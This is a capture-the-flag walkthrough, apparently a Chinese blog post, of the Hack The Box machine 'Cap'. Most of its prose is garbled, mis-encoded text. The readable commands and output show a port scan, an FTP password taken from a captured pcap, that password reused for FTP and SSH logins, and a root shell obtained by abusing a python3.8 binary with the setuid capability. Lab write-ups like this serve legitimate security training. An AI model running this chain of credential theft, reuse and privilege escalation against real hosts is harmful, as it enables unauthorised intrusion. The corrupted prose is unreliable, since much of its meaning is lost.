鍏嶈矗澹版槑鏈枃娓楅€忕殑涓绘満鍧囩粡杩囧悎娉曟巿鏉冦€傛湰鏂囦娇鐢ㄧ殑宸ュ叿鍜屾柟娉曚粎渚涘涔犲拰浜ゆ祦銆傝鍕垮皢鏈枃浣跨敤鐨勫伐鍏峰拰娓楅€忔€濊矾鐢ㄤ簬浠讳綍闈炴硶鐢ㄩ€斻€傛湰浜哄皢涓嶅鐢辨浜х敓鐨勪换浣曞悗鏋滆礋璐ｏ紝涔熶笉瀵逛换浣曡鐢ㄦ垨閫犳垚鐨勬崯瀹宠礋璐ｃ€傛湇鍔℃娴嬧攲鈹€鈹€(root馃拃kali)-[~/htb/cab]鈹斺攢鈹€#nmap-sV-Pn10.10.10.245涓绘満鍙戠幇绂佺敤锛?Pn锛夈€傛墍鏈夊湴鍧€閮藉皢鏍囪涓衡€渦p鈥濓紝鎵弿鏃堕棿浼氬彉鎱€傚湪2021-11-2808:33鍚姩Nmap7.91(https://nmap.org)ESTNmap鎵弿鎶ュ憡10.10.10.245Host宸插惎鍔紙0.35绉掑欢杩燂級銆傛湭鏄剧ず锛?97涓叧闂鍙ｇ鍙ｇ姸鎬佹湇鍔＄増鏈?1/tcp鎵撳紑ftpvsftpd3.0.322/tcp鎵撳紑sshOpenSSH8.2p1Ubuntu4ubuntu0.2锛圲buntuLinux锛涘崗璁?.0锛?0/tcp鎵撳紑httpgunicorn1鏈嶅姟灏界杩斿洖鏁版嵁浣嗘棤娉曡瘑鍒€傚鏋滅煡閬撴湇鍔?鐗堟湰锛岃鍦╤ttps://nmap.org/cgi-bin/submit.cgi?new-service鎻愪氦浠ヤ笅鎸囩汗锛氭湇鍔℃灇涓惧垎鏋恌tp鏃犳硶鍖垮悕鐧婚檰鐖嗙牬鐩綍nothingfound80serviceopenis缃戠涔嬬被鐨勫悗鍙帮紙鏃犻渶鐧诲綍锛夛紝鏄剧ずifconfig銆乶etstat鍜屾嫤鎴祦閲忔湇鍔″搴旂殑涓夋爮锛堝彲浠ヤ笅杞界洰鏍囨満鍣ㄧ殑pcap鏂囦欢锛夈€傜湅鏉ユ敾鍑荤偣涓昏鍦?0绔彛锛屽悗鍙扮殑鐢ㄦ埛鍚嶆槸锛歯athanathttp://10.10.10.245/data/1杩欎釜椤甸潰浼氭瘡5绉掓洿鏂颁竴涓猵cap鏂囦欢銆傚彲浠ュ湪褰撳墠鏃堕棿涓嬭浇鏈€鏂扮殑鏂囦欢銆傚惊鐜寖鍥存槸1-5锛屼絾鏄?鍙锋枃浠朵腑闅愯棌浜嗙櫥褰曚俊鎭殑鏂囦欢锛屼篃灏辨槸http://10.10.10.245/data/0鏄儕璁惰繕鏄剰澶栵紵涓嬭浇绗?涓猵cap鏂囦欢鍒版湰鍦帮紝鐢╳ireshark鎵撳紑绗?6涓暟鎹姤鎵惧埌ftp鐢ㄦ埛鍚嶏細nathanfind绗?0涓暟鎹姤鎵惧埌ftp瀵嗙爜锛歿灏变笉浼氬憡璇変綘}鐧诲綍ftp鈹屸攢鈹€(root馃拃kali)-[~/htb/cap]鈹斺攢鈹€#ftp10.10.10.245Connectedto10.10.10.245.220(vsFTPd3.0.3)Name(10.10.10.245:root):nathan331璇锋寚瀹氬瘑鐮併€傚瘑鐮?230鐧诲綍鎴愬姛銆傝繙绋嬬郴缁熺被鍨嬩负UNIX銆備娇鐢ㄤ簩杩涘埗鏂瑰紡浼犺緭鏂囦欢銆俧tp>ls-alh200PORT鍛戒护鎴愬姛銆傝€冭檻浣跨敤PASV.150杩欐槸鐩綍listing.drwxr-xr-x3100110014096May272021.drwxr-xr-x3004096May232021..lrwxrwxrwx1009May152021.bash_history->/dev/null-rw-r--r--1100110012202020骞?鏈?5鏃?bash_logout-rw-r--r--11001100137712020骞?鏈?5鏃?bashrcdrwx------21001100140962021骞?鏈?3鏃?cache-rw-r--r--1100110018072020骞?鏈?5鏃?profilelrwxrwxrwx10092021骞?鏈?7鏃?viminfo->/dev/null-r--------11001100111鏈?8鏃?3鏃?5:32浣跨敤r.txt226鐩綍鍙戦€佹垚鍔熴€傛垜浠凡缁忔垚鍔熺櫥闄唂tp锛屽ソ鍍忔槸鐢ㄦ埛nathan鐨勫鐩綍锛屾垜浠湅鍒颁簡user.txt锛屼絾鏄病鏈夋潈闄愯鍙栧垵濮媠hell璁稿鎳掓儼鐨勭鐞嗗憳涔犳儻浜庡鍚勭鏈嶅姟浣跨敤鐩稿悓鐨勭櫥褰曚俊鎭紝灏濊瘯浣跨敤涓婅堪鐧诲綍鍑嵁鐧诲綍ssh鈹屸攢鈹€(root馃拃kali)-[~/htb/cap]鈹斺攢鈹€#sshnathan@10.10.10.245鏃犳硶纭畾涓绘満鈥?0.10.10.245(10.10.10.245)鈥濈殑鐪熷疄鎬с€侲CDSA瀵嗛挜鎸囩汗鏄疭HA256:8TaASv/TRhdOSeq3woLxOcKrIOtDhrZJVrrE0WbzjSc銆??鏄鍛婏細灏嗏€?0.10.10.245鈥濓紙ECDSA锛夋案涔呮坊鍔犲埌宸茬煡涓绘満鍒楄〃涓€俷athan@10.10.10.245鐨勫瘑鐮侊細娆㈣繋浣跨敤Ubuntu20.04.2LTS锛圙NU/Linux5.4.0-80-genericx86_64锛?鏂囨。锛歨ttps://help.ubuntu.com*绠＄悊锛歨ttps://landscape.canonical.com*鏀寔锛歨ttps://ubuntu.com/advantage鎴嚦11鏈?8鏃ユ槦鏈熸棩16:00:07UTC2021绯荤粺璐熻浇鐨勭郴缁熶俊鎭細0.0杩涚▼锛?25/鐨勪娇鐢細8.73GB鐨?6.6%鐢ㄦ埛鐧诲綍锛?鍐呭瓨浣跨敤锛?1%eth0鐨処Pv4鍦板潃锛?0.10.10.245浜ゆ崲浣跨敤锛?%=>鏈?涓獄ombie杩涚▼銆?閽堝灏忕┖闂磋繘琛屼簡瓒呯骇浼樺寲鈥斺€斾簡瑙ｆ垜浠浣曠缉灏廙icroK8s鐨勫唴瀛樺崰鐢紝浣垮叾鎴愪负鍛ㄥ洿鏈€灏忕殑瀹屾暣K8s銆俬ttps://ubuntu.com/blog/microk8s-memory-optimisation63鏇存柊鍙互绔嬪嵆搴旂敤銆傚叾涓?2涓洿鏂版槸鏍囧噯瀹夊叏鏇存柊銆傝鏌ョ湅杩欎簺棰濆鐨勬洿鏂帮紝璇疯繍琛岋細aptlist--upgradable鍙敤鏇存柊鍒楄〃涓嶆涓€涓竴鍛ㄥ墠銆傝妫€鏌ユ柊鏇存柊杩愯锛歴udoaptupdateLastlogin:ThuMay2711:21:272021from10.10.14.7nathan@cap:~$pwd/home/nathannathan@cap:~$lsuser.txt鎷垮埌user.txt鎻愪氦linpea锛屽彂鐜皃ython鏈塻etuid鐨勮兘鍔?usr/bin/python3.8=cap_setuid,cap_net_bind_service+eip浣跨敤python鎻愪氦nathan@cap:~$/usr/bin/python3.8-c'import鎿嶄綔绯荤粺锛沷s.setuid(0);os.system("/bin/sh")'#iduid=0(root)gid=1001(nathan)groups=1001(nathan)#whoamiroot
